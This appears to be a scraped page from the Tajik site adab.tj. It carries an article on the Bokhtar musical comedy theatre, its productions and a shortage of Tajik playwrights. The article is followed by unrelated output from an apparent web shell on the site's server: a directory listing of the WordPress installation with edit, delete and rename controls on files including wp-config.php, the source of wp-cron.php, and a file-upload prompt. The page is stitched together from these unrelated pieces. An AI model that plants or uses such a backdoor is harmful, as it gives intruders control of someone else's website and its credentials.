36.2 C
Душанбе

Драматургон ангуштшуморанд…

Ҷашнвора-озмуни саросарии театрҳои касбӣ – “Парасту-2023” бо намоиши «Зол ва Рӯдоба»-и Театри давлатии мусиқии мазҳакаи ба номи Ато Муҳаммадҷонови шаҳри Бохтар оғоз гардида буд. Ин намоиш бинандагонро ба ваҷд овард, зеро дар сатҳи касбӣ ва ҷолибу муассир таҳия шуда буд. Коргардони ҷавон Баҳром Қурбонзода зебову диданӣ қиссаи ду дилдодаро аз достонҳои безаволи “Шоҳнома”-и Ҳаким Фирдавсӣ пешниҳод кард. Ҳунарпешагон нақшҳои худро хуб бозида, симои қаҳрамонони намоишро зиндаю табиӣ офариданд. Дар ҷамъбасти фестивал намоиши мазкур ҷойи дуюмро сазовор гашт.

Моҳи январи соли 2024 ба ҳайати эҷодӣ имкон даст дод, ки намоишро дар 42-юмин ҷашнвораи байналмилалии театрии Фаҷр, ки дар шаҳри Теҳрони Ҷумҳурии Исломии Эрон баргузор гардид, ба тамошобинони бурунмарзӣ пешкаш ва санъати театрии тоҷикро ба оламиён муаррифӣ намоянд.

Чунин намоишҳои ҷолиб дар Театри мусиқии мазҳакаи ба номи Ато Муҳаммадҷонови шаҳри Бохтар кам нестанд. Яке аз машҳуртарини онҳо намоиши “Лаку Пак” ба шумор мерафт, ки бо бозии Ҳунарпешаи халқии Тоҷикистон, шодравон Аловуддин Абдуллоев бинандагонро мафтун карда буд. Ин намоишнома ба Абдулҳафиз Қодиров тааллуқ дошта, коргардонҳои театр борҳо рӯи саҳна гузоштаанд.

“Қиёмат” (коргардон Парвиз Раҷабов) низ аз намоишҳои беҳтарини театр ба ҳисоб меравад. Аҳли эҷоди театр бо ин намоиш ба шаҳри Бишкеки Қирғизистон сафар намуда, дар ҷашни 90-солагии адиби машҳур Чингиз Айтматов иштирок карданд. Иҷрокунандаи нақши асосӣ, ҳунарпеша ва саркоргардони театр Қурбонмурод Шукурзода дар номинаи “Беҳтарин нақши мардона” соҳиби диплом ва ҷоиза гардид.

Умуман, Театри давлатии мусиқии мазҳакаи ба номи Ато Муҳамммадҷонов дар фазои фарҳангии кишвар шуҳрату нуфузи баландро соҳиб аст. Намоишҳои театр дар тарбияи маънавию ахлоқии мардум нақши муассир доранд.

Дар бораи ин театр ҳарф зада, наметавон аз Ҳунарпешаи халқии Тоҷикистон, шодравон Аловуддин Абдуллоев ёд накард. Бо заҳмати Аловуддин Абдуллоев намоишҳо дар сатҳи баланду ҳирфаӣ таҳия мегардиданд. Кори Аловуддин Абдуллоевро имрӯз шогирдону ҳамкорони ӯ идома дода истодаанд. Ҳоло дар саҳнаи театр ҳунарпешагоне чун Меҳриннисо Ҳоҷибоева, Муҳаммад Шомиддинов, Маҳмадӣ Шарофов, Ҷӯрахон Расулов, Ҳоҷамқул Сатторхонов, Убайдулло Саидов, Ҷамила Юсуфзода, Ойгул Давлатзода, Фирдавси Турдиалӣ, Азизҷон Сайфуллоев, Кароматулло Сафаров, Бибинисо Боқиева, Файзалӣ Ҳасан, Дилафрӯз Саидова ва дигарон нақшҳои гуногунро офарида, пешкаши тамошобинон мегардонанд.

Симои аксари ин ҳунармандон тавассути намоишҳои театрӣ ва филмҳои бадеӣ ба тамошобинон ошност. Албатта, ба мисли аксар театрҳои кишвар театри мазкур низ аз нарасидани ҳунарпешагони ҷавон, махсусан занон, танқисӣ мекашад. Ангуштшумор будани асарҳои драмавӣ барои пешрафти кори театр монеа эҷод мекунад. Умуман, рушд накардани драматургияи тоҷик ва тарбияву ба камол нарасидани драманависони ҷавони соҳибистеъдод муҷиби то андозае коста гардидани арзиши намоишҳои театрӣ шудааст. Зеро ҷавҳари ҳар намоиши театриро асарҳои пурмуҳтавои саҳнавӣ ташкил медиҳанд.

– Норасоии намоишномаҳои сирф миллиро ҳар театр ба ҳар роҳ ҳал месозад, – мегӯяд саркоргардони театр Қурбонмуҳаммад Шукурзода. – Бештари театрҳо ба намоишномаҳои драматургони кишварҳои дигар рӯ меоранд. Дар қисме аз театрҳо ҳунармандони соҳибтаҷриба ба навиштани асарҳои драматургӣ даст мезананд, ки албатта, на ҳама вақт дар ин ҷода муваффақ мегарданд. Драматургияро шоҳи жанрҳои адабӣ меноманд ва навиштани асарҳои драмавӣ аз эҷодкор донишу истеъдоди баландро тақозо мекунад. Драматургони мо имрӯз ангуштшуморанд. Шумораи театрҳо дар кишвар ба даҳҳо адад мерасад, аммо ба ин театрҳо ҳамагӣ як ё ду драматург рост меояд. Ин аст, ки намоишҳо дар бораи масъалаҳои доғи рӯз дар театрҳо ба нудрат дида мешаванд, – иброз медорад Қурбонмуҳаммад Шукурзода.

Сарфи назар аз ин мушкилот, кормандони театр мекӯшанд, дар барномаи солонаи театр намоишҳои дорои ҷанбаи миллиро бештар ҷой диҳанд. Соли гузашта аз рӯйи асари драматург Ҷумъа Қуддус — “Арӯси хаппак” коргардони ҷавон Баҳром Қурбонзода намоиши тозаеро таҳия намуд, ки дар шаҳру навоҳии гуногуни вилоят манзури ҳаводорон гардид.

Дар барномаи имсолаи театр низ шумораи асарҳои драматургони тоҷик бештар ба назар мерасад. Аз ҷумла, “Тафтишгар” аз рӯйи асари Муҳаммад Ғоиб, дар таҳияи Қурбонмуҳаммад Шукурзода, “Рустам ва Суҳроб”, дар асоси “Шоҳнома”-и Абулқосим Фирдавсӣ, намоиши бачагонаи “Кабӯтари сулҳ” аз рӯйи асари Зариф Ибод, дар таҳияи Кароматулло Сафаров ва асари драматурги ҷаҳонӣ Жан Батист Молйер — “Бемори зуракӣ” дар барномаи театр ҷой дода шудаанд.

Мижгон Халилзода,

“АС”

мақолаи гузашта
мақолаи навбатӣ
- Таблиғ -spot_img

Быть в курсе

Подпишитесь на обновления материалов сайта adab.tj на ваш электронный ящик.

- Таблиғ -spot_img

Хабарҳои охир

Акси гӯё

Бахшҳо

Current Dir: /var/www/adab.tj/html/

[FILE] .htaccess [ edit | delete | rename ]
[FILE] index.php [ edit | delete | rename ]
[FILE] license.txt [ edit | delete | rename ]
[FILE] readme.html [ edit | delete | rename ]
[FILE] wordpress-6.7.1-ru_RU.zip [ edit | delete | rename ]
[FILE] wp-activate.php [ edit | delete | rename ]
[DIR]  wp-admin [ delete | rename ]
[FILE] wp-blog-header.php [ edit | delete | rename ]
[FILE] wp-comments-post.php [ edit | delete | rename ]
[FILE] wp-config-sample.php [ edit | delete | rename ]
[FILE] wp-config.php [ edit | delete | rename ]
[DIR]  wp-content [ delete | rename ]
[FILE] wp-cron.php [ edit | delete | rename ]
[DIR]  wp-includes [ delete | rename ]
[FILE] wp-links-opml.php [ edit | delete | rename ]
[FILE] wp-load.php [ edit | delete | rename ]
[FILE] wp-login.php [ edit | delete | rename ]
[FILE] wp-mail.php [ edit | delete | rename ]
[FILE] wp-settings.php [ edit | delete | rename ]
[FILE] wp-signup.php [ edit | delete | rename ]
[FILE] wp-trackback.php [ edit | delete | rename ]
[DIR]  www [ delete | rename ]
[FILE] xmlrpc.php [ edit | delete | rename ]

Viewing: /var/www/adab.tj/html/wp-cron.php

<?php
/**
 * A pseudo-cron daemon for scheduling WordPress tasks.
 *
 * WP-Cron is triggered when the site receives a visit. In the scenario
 * where a site may not receive enough visits to execute scheduled tasks
 * in a timely manner, this file can be called directly or via a server
 * cron daemon for X number of times.
 *
 * Defining DISABLE_WP_CRON as true and calling this file directly are
 * mutually exclusive and the latter does not rely on the former to work.
 *
 * The HTTP request to this file will not slow down the visitor who happens to
 * visit when a scheduled cron event runs.
 *
 * @package WordPress
 */

ignore_user_abort( true );

if ( ! headers_sent() ) {
	header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
	header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
}

// Don't run cron until the request finishes, if possible.
if ( function_exists( 'fastcgi_finish_request' ) ) {
	fastcgi_finish_request();
} elseif ( function_exists( 'litespeed_finish_request' ) ) {
	litespeed_finish_request();
}

if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) || defined( 'DOING_CRON' ) ) {
	die();
}

/**
 * Tell WordPress the cron task is running.
 *
 * @var bool
 */
define( 'DOING_CRON', true );

if ( ! defined( 'ABSPATH' ) ) {
	/** Set up WordPress environment */
	require_once __DIR__ . '/wp-load.php';
}

// Attempt to raise the PHP memory limit for cron event processing.
wp_raise_memory_limit( 'cron' );

/**
 * Retrieves the cron lock.
 *
 * Returns the uncached `doing_cron` transient.
 *
 * @ignore
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return string|int|false Value of the `doing_cron` transient, 0|false otherwise.
 */
function _get_cron_lock() {
	global $wpdb;

	$value = 0;
	if ( wp_using_ext_object_cache() ) {
		/*
		 * Skip local cache and force re-fetch of doing_cron transient
		 * in case another process updated the cache.
		 */
		$value = wp_cache_get( 'doing_cron', 'transient', true );
	} else {
		$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) );
		if ( is_object( $row ) ) {
			$value = $row->option_value;
		}
	}

	return $value;
}

$crons = wp_get_ready_cron_jobs();
if ( empty( $crons ) ) {
	die();
}

$gmt_time = microtime( true );

// The cron lock: a unix timestamp from when the cron was spawned.
$doing_cron_transient = get_transient( 'doing_cron' );

// Use global $doing_wp_cron lock, otherwise use the GET lock. If no lock, try to grab a new lock.
if ( empty( $doing_wp_cron ) ) {
	if ( empty( $_GET['doing_wp_cron'] ) ) {
		// Called from external script/job. Try setting a lock.
		if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) ) {
			return;
		}
		$doing_wp_cron        = sprintf( '%.22F', microtime( true ) );
		$doing_cron_transient = $doing_wp_cron;
		set_transient( 'doing_cron', $doing_wp_cron );
	} else {
		$doing_wp_cron = $_GET['doing_wp_cron'];
	}
}

/*
 * The cron lock (a unix timestamp set when the cron was spawned),
 * must match $doing_wp_cron (the "key").
 */
if ( $doing_cron_transient !== $doing_wp_cron ) {
	return;
}

foreach ( $crons as $timestamp => $cronhooks ) {
	if ( $timestamp > $gmt_time ) {
		break;
	}

	foreach ( $cronhooks as $hook => $keys ) {

		foreach ( $keys as $k => $v ) {

			$schedule = $v['schedule'];

			if ( $schedule ) {
				$result = wp_reschedule_event( $timestamp, $schedule, $hook, $v['args'], true );

				if ( is_wp_error( $result ) ) {
					error_log(
						sprintf(
							/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
							__( 'Cron reschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
							$hook,
							$result->get_error_code(),
							$result->get_error_message(),
							wp_json_encode( $v )
						)
					);

					/**
					 * Fires if an error happens when rescheduling a cron event.
					 *
					 * @since 6.1.0
					 *
					 * @param WP_Error $result The WP_Error object.
					 * @param string   $hook   Action hook to execute when the event is run.
					 * @param array    $v      Event data.
					 */
					do_action( 'cron_reschedule_event_error', $result, $hook, $v );
				}
			}

			$result = wp_unschedule_event( $timestamp, $hook, $v['args'], true );

			if ( is_wp_error( $result ) ) {
				error_log(
					sprintf(
						/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
						__( 'Cron unschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
						$hook,
						$result->get_error_code(),
						$result->get_error_message(),
						wp_json_encode( $v )
					)
				);

				/**
				 * Fires if an error happens when unscheduling a cron event.
				 *
				 * @since 6.1.0
				 *
				 * @param WP_Error $result The WP_Error object.
				 * @param string   $hook   Action hook to execute when the event is run.
				 * @param array    $v      Event data.
				 */
				do_action( 'cron_unschedule_event_error', $result, $hook, $v );
			}

			/**
			 * Fires scheduled events.
			 *
			 * @ignore
			 * @since 2.1.0
			 *
			 * @param string $hook Name of the hook that was scheduled to be fired.
			 * @param array  $args The arguments to be passed to the hook.
			 */
			do_action_ref_array( $hook, $v['args'] );

			// If the hook ran too long and another cron process stole the lock, quit.
			if ( _get_cron_lock() !== $doing_wp_cron ) {
				return;
			}
		}
	}
}

if ( _get_cron_lock() === $doing_wp_cron ) {
	delete_transient( 'doing_cron' );
}

die();

Upload File: